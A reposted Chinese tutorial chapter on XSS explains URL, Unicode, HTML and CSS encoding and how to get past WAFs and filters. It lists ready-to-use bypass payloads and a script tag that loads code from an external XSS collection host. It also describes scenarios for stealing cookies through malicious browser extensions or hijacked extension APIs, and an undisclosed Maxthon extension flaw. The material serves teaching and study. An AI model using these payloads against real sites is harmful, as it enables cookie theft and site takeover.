[转]XSS的原理分析与解剖：第四章（编码与绕过）

0×01前言

很抱歉，这第四章被我推了几个月，今天是元旦难得有空，就把第四章写下。我先把主要使用的编码说下，介绍完会说下绕过。

本文建议与《杂谈如何绕过WAF》一同阅读。

0×02 URL编码

URL只允许用US-ASCII字符集中可打印的字符(0×20—0x7x)，其中某些字符在HTTP协议里有特殊的意义，所以有些也不能使用。这里有个需要注意的，+加号代表URL编码的空格，%20也是。

URL编码最长见的是在用GET/POST传输时，顺序是把字符改成%+ASCII两位十六进制(先把字符串转成ASCII编码，然后再转成十六进制)。

这个在编码DOM XSS可能会用到，比如我上次说的

http://www.freebuf.com/articles/web/42727.html 0×04节DOM XSS 在chrome maxthon firefox里对URL里的a=后面的字节进行了URL进行编码，只能在360浏览器里成功，这就是浏览器对URL进行了URL编码。

0×03 unicode编码

Unicode有1114112个码位，也就是说可以分配1114112个字符。Unicode编码的字符以%u为前缀，后面是这个字符的十六进制unicode的码点。

Unicode编码之所以被本文提到，因为有的站点过滤了某些字符串的话，但是发现这个站点在后端验证字符串的时候，识别unicode编码，那我们就可以把我们的攻击代码来改成unicode编码形式，就可以绕过站点的过滤机制了。

0×04 HTML编码

HTML编码的存在就是让他在代码中和显示中分开， 避免错误。他的命名实体：构造是&加上希腊字母，字符编码：构造是&#加十进制、十六进制ASCII码或unicode字符编码，而且浏览器解析的时候会先把html编码解析再进行渲染。但是有个前提就是必须要在“值”里，比如属性src里，但却不能对src进行html编码。不然浏览器无法正常的渲染。

例如：

<img src=logo.png/>

　　

可以正常显示。

但是当你把src或者img进行html编码就不行了，例如：

<img src=logo.png/>

　　

0×05 CSS编码

这个不是太常用。就是/斜杠加上1-6位十六进制

之前在IE5之前都可以用expression来调用js时，这个编码很有用。 现在大多都是用于CSS小图标。

0×06 假设

网站检测script标签里的src值是否为网站(关键字有http&https&com&cn&net&&js)

那我们该怎么绕过呢，看下面的实例代码：

<script
src="http://xss8.pw/bgFfBx?1419229565"></script>

　　打开审查元素——网络，我们成功的看到了我们的JS被加载了

XSS平台里也获取到了。

0×06 常见的绕过方式

<sCrIpt>alert(1)</script>
<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript>
<scr<script>rip>alalertert</scr</script>rip> (需要利用waf的不完整性)
<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 39, 120, 115, 115, 39, 41))</script>

　　

标签属性="javascript:JS代码"(只对支持js伪协议的属性起作用)

<标签 on事件="js代码">

<script
woaini>
alert(123)
</script
woaini>

　　

浏览器下会把换行 TAB符当成空格，把后面的字符当做属性来解析

等等，还有很多，其实本章说的不是太多。干干货也少的可怜。没办法我之前说的“杂谈绕过WAF”里说的太详细了，该说的都说了。我也不知道该说些什么。看看下一节吧，还有些干货。XSS绕过方面网上的资料太多太多了。想要说一些别人没说的很难。也有，只不过在http://www.freebuf.com/articles/web/54686.html 里说完了…

0×07 插件安全

这节本是不属于本章的，所以说这节我是特意拿出来的。也是在这里我希望大家从此注意下浏览器插件方面的安全问题。

我之前在《杂谈如何绕过WAF》一文里 还有现在朋友交流的时候我也多次说过。

即使你网站做的再安全，WAF再怎么完整。我利用插件照样可以绕过。插件的有它的特殊性，也是这个特殊性成就了他的安全问题，那就是“跨域”。

我在里说下插件是如何渲染到页面的：

用户打开网站——发送数据包——服务器响应并发送Response包——浏览器收到Response包——渲染(先渲染Response包，再渲染插件的代码)

　　

也就是说我在插件里写了一段js，那么用户安装后，凡是打开网站。浏览器渲染后，就可以获取用户的cookies。如果攻击者事先有准备，还可以利用csrf攻击。这里我们大胆假设下：

假设1：攻击者把XSS代码封装到插件里，上传到浏览器插件下载网站(管理不严，管理员根本不可能一行一行代码看)，上传成功后。用户下载，并安装。那么攻击者就可以坐在电脑前，喝着咖啡，看着不断刷新的xss数据流…

假设2：攻击者拥有dedecms的csrf(可以添加管理员)，后面的和假设1一样。当网站管理员不小心安装或者使用了带有插件浏览器，网站就会被攻击者控制。有些人会问，几率那么小，怎么可能跑到我身上。是不太可能跑到你身上，倒是有可能跑到其他站长身上，当你想想中国站长有多少时，相信你就会明白了

假设3：攻击者拥有某个浏览器插件的XSC漏洞，再结合插件安全问题，就可以实现用户打开某个网站，就会被不知不觉中安装插件，有些人会说，有XSC我就直接执行任意代码了，谁还蛋疼式的去安装插件。如果攻击者想隐蔽式的攻击呢？而且控制电脑获取cookies我想这个应该比直接安装插件更加麻烦吧？当然攻击者也可以两个同时进行。

当然了，也有很多人会说，我安装安全健康绿色无污染的插件不就不怕了吗。

楼主说的十分有理，只不过你忽视了插件本身的安全问题，我之前所说的都是利用插件的特殊性来完成攻击，可是我并没有说插件本身的安全。

这时恐怕又有人质疑了，插件即使不安全，那也需要用户输入特殊的字符串里完成攻击，你这不就是在自己插自己么。

我所说的插件安全问题指的不是这，而是控制插件的数据流。因为插件的安全问题本身就没多大的利用价值，大多数时候都是自己插自己。

假设有一个在线翻译的插件，鼠标滑词，自动翻译。而这个技术就需要利用到AJAX，而AJAX利用的就是厂商提供的API，而API很多时候都在二级域名，安全性相对来说就比较低了。如果控制API了，那么就可以控制API发送给插件的数据流，从而达到攻击。

流程图就是下面这样：

黑客发现插件调取的API网站安全漏洞——重写了发送的数据包——插件获取被重写API数据——解析并把恶意代码渲染到页面——攻击成功。

　　

当然了，不止API，有的插件还调用了外部的JS、CSS、iframe(HTML)等，我们也可以控制他们里来完成攻击。

为了让大家感到插件问题是时候注意下了，我放出一个小漏洞吧，之前在JSEC沙龙演示过的。危害不算太大，不过让大家从此注意插件问题应该够了。

双击ceshi.mxaddon文件就行了(需要安装遨游浏览器)。ceshi目录里是源代码，def.json是遨游插件漏洞(打开遨游插件管理页面，就会弹窗。Test.js也就是我这节说的。当你打开任何网站的时候，他都会弹窗)。

谁想提交就提交吧，当然我相信这时候遨游安全团队已经看到并修复了。我就喜欢看一群黑客和修复漏洞人员互相比速度。
相信这时有人开始骂我了。没办法，我就是不喜欢提交，任性。